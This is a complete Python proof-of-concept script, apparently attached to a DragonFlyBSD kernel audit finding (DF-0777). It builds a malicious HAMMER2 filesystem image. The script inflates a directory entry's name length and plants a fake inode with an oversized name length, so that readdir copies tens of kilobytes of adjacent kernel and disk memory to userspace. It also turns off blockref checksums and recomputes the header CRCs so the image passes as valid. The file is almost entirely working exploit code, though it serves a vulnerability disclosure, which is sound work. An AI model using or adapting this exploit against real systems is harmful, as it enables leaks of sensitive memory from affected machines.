DragonFlyBSD Kernel Audit
DF-0777 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
Craft a corrupted HAMMER2 image for DF-0777.

Two corruptions are applied:

(A) DIRENT branch (lines 718-731): Find the dirent for a long filename
    (>64 chars, so it has data_off != 0) and inflate its namlen to 65535.
    readdir takes the else branch (namlen > sizeof(check.buf)):
      dname = hammer2_xop_gdata(&xop->head)->buf;  // chain data buffer
      vop_write_dirent(..., namlen=65535, dname)
    → bcopy(dname, dp->d_name, 65535) reads 65535 bytes from a 1024-byte
      allocation inside a 64KB dio buffer, leaking ~64KB of adjacent
      on-disk filesystem content to userspace.

(B) INODE branch (lines 702-711): Add a fake INODE-type blockref inside
    the indirect block (alongside the dirents) with a visible key (bit 63)
    and name_len=4096. readdir hits the INODE branch:
      vop_write_dirent(..., ripdata->meta.name_len=4096, ripdata->filename)
    → bcopy(filename, dp->d_name, 4096) reads 4096 bytes from a 256-byte
      filename field, leaking ~3840 bytes past it.

Sets CHECK_NONE along the blockref path; recomputes volume header CRC-32C.

Usage: python3 craft_img.py <input.img> <output.img>
"""
import struct, sys

# ---- CRC-32C (Castagnoli) ----
CRC32C_POLY = 0x82F63B78
_t = None
def _build():
    global _t
    _t = []
    for i in range(256):
        c = i
        for _ in range(8):
            c = (c >> 1) ^ CRC32C_POLY if (c & 1) else (c >> 1)
        _t.append(c)
def crc32c(data):
    if _t is None: _build()
    c = 0xFFFFFFFF
    for b in data:
        c = (c >> 8) ^ _t[(c ^ b) & 0xFF]
    return c ^ 0xFFFFFFFF

# ---- constants ----
RADIX_MASK = 0x3F
BREF_SZ = 128
EMPTY, INODE, INDIRECT, DATA, DIRENT = 0, 1, 2, 3, 4
VISIBLE = 0x8000000000000000
NAME_LEN_OFF = 0x80
NAME_KEY_OFF = 0x78
FNAME_OFF = 0x100
BLKSET_OFF = 0x200
INODE_BYTES = 1024
# namlen is at offset 8 within embed.dirent_head, which starts at offset 48 in blockref
DIRENT_NAMLEN_OFF = 48 + 8  # = 56

def pbr(data, off):
    b = data[off:off+BREF_SZ]
    return {'type':b[0], 'methods':b[1], 'keybits':b[3],
            'key':struct.unpack_from('<Q', b, 8)[0],
            'data_off':struct.unpack_from('<Q', b, 32)[0]}

def doff(data_off): return data_off & ~RADIX_MASK
def drad(data_off): return data_off & RADIX_MASK

def set_none(img, off):
    old = img[off+1]
    img[off+1] = old & 0x0F
    return old

def fix_vh_crcs(img):
    S = 0x1E0
    struct.pack_into('<I', img, S+6*4, crc32c(img[512:1024]))
    struct.pack_into('<I', img, S+7*4, crc32c(img[0:508]))
    struct.pack_into('<I', img, 0xFFFC, crc32c(img[0:65532]))

def main():
    inp, outp = sys.argv[1], sys.argv[2]
    with open(inp, 'rb') as f: img = bytearray(f.read())
    print(f"Image: {len(img)} bytes")

    # Parse volume header
    assert struct.unpack_from('<Q', img, 0)[0] == 0x48414d3205172011

    # SUPROOT
    sr_off = None
    for i in range(8):
        off = 0x200 + i*BREF_SZ
        b = pbr(img, off)
        if b['type'] == INODE:
            sr_off = off; break
    assert sr_off; sr_data = doff(pbr(img, sr_off)['data_off'])

    # DATA PFS
    data_boff = data_ioff = None
    for i in range(8):
        off = sr_data + BLKSET_OFF + i*BREF_SZ
        b = pbr(img, off)
        if b['type'] == EMPTY: continue
        co = doff(b['data_off'])
        fn = img[co+FNAME_OFF:co+FNAME_OFF+32].split(b'\x00')[0]
        if fn == b'DATA':
            data_boff = off; data_ioff = co; break
    assert data_boff; print(f"DATA PFS inode @ 0x{data_ioff:x}")

    # Find all INDIRECT blocks in DATA's blockset; prefer the one
    # with VISIBLE key range (contains the dirent entries)
    indirects = []
    for i in range(8):
        off = data_ioff + BLKSET_OFF + i*BREF_SZ
        b = pbr(img, off)
        if b['type'] == INDIRECT:
            blk = doff(b['data_off'])
            cnt = (1 << drad(b['data_off'])) // BREF_SZ
            indirects.append((off, blk, cnt, b['key']))
            print(f"INDIRECT[{i}] @ 0x{blk:x} ({cnt} slots) key=0x{b['key']:016x}")

    # Use the indirect block whose key range includes VISIBLE entries
    ind_boff = ind_blk = ind_cnt = None
    for boff, blk, cnt, key in indirects:
        if key & VISIBLE:
            ind_boff, ind_blk, ind_cnt = boff, blk, cnt
            break
    if ind_boff is None and indirects:
        ind_boff, ind_blk, ind_cnt = indirects[0][:3]
    assert ind_boff, "no indirect block found"

    # Scan indirect block entries
    dirent_entries = []
    free_slot = None
    for j in range(ind_cnt):
        off = ind_blk + j*BREF_SZ
        b = pbr(img, off)
        if b['type'] == EMPTY:
            if free_slot is None: free_slot = j
        elif b['type'] == DIRENT:
            namlen = struct.unpack_from('<H', img, off + DIRENT_NAMLEN_OFF)[0]
            dirent_entries.append((j, off, b, namlen))
            print(f"  dirent[{j}]: key=0x{b['key']:016x} data_off=0x{b['data_off']:016x} namlen={namlen}")

    # === Corruption A: inflate a long-filename dirent's namlen ===
    target_dirent = None
    for j, off, b, namlen in dirent_entries:
        if namlen > 64 and b['data_off'] != 0:
            target_dirent = (j, off, b, namlen)
            break

    if target_dirent:
        j, off, b, old_nl = target_dirent
        NEW_NL = 65535
        print(f"\n=== Corruption A: dirent[{j}] namlen {old_nl} -> {NEW_NL} ===")
        struct.pack_into('<H', img, off + DIRENT_NAMLEN_OFF, NEW_NL)
    else:
        print("\nNo long-filename dirent with data_off found, skipping corruption A")

    # === Corruption B: add fake INODE entry in indirect block ===
    if free_slot is not None:
        max_key = max((e[2]['key'] for e in dirent_entries), default=0)
        new_key = max_key + 1
        if not (new_key & VISIBLE): new_key |= VISIBLE

        FAKE_OFF = 0x03000000
        fake = bytearray(INODE_BYTES)
        struct.pack_into('<H', fake, NAME_LEN_OFF, 4096)
        struct.pack_into('<Q', fake, NAME_KEY_OFF, new_key)
        fake[0x42] = 2  # REGFILE
        for i in range(256): fake[FNAME_OFF+i] = 0x41 + (i%26)
        for i in range(512): fake[0x200+i] = 0xDE if i%2==0 else 0xAD
        img[FAKE_OFF:FAKE_OFF+INODE_BYTES] = fake

        boff = ind_blk + free_slot*BREF_SZ
        nb = bytearray(BREF_SZ)
        nb[0] = INODE; nb[1] = 0x00; nb[3] = 0
        struct.pack_into('<Q', nb, 8, new_key)
        struct.pack_into('<Q', nb, 32, FAKE_OFF | 10)
        img[boff:boff+BREF_SZ] = nb
        print(f"=== Corruption B: fake INODE @ indirect[{free_slot}] key=0x{new_key:016x} ===")
    else:
        print("No free slot for corruption B")

    # === Set CHECK_NONE on all blockrefs in the path ===
    set_none(img, sr_off)
    set_none(img, data_boff)
    set_none(img, ind_boff)
    for i in range(8):
        off = data_ioff + BLKSET_OFF + i*BREF_SZ
        b = pbr(img, off)
        if b['type'] != EMPTY: set_none(img, off)
    for j in range(ind_cnt):
        off = ind_blk + j*BREF_SZ
        b = pbr(img, off)
        if b['type'] != EMPTY: set_none(img, off)
    print("CHECK_NONE set on all path blockrefs")

    # === Fix volume header CRCs ===
    fix_vh_crcs(img)
    print("Volume header CRCs recomputed")

    with open(outp, 'wb') as f: f.write(img)
    print(f"Written to {outp}")

if __name__ == '__main__': main()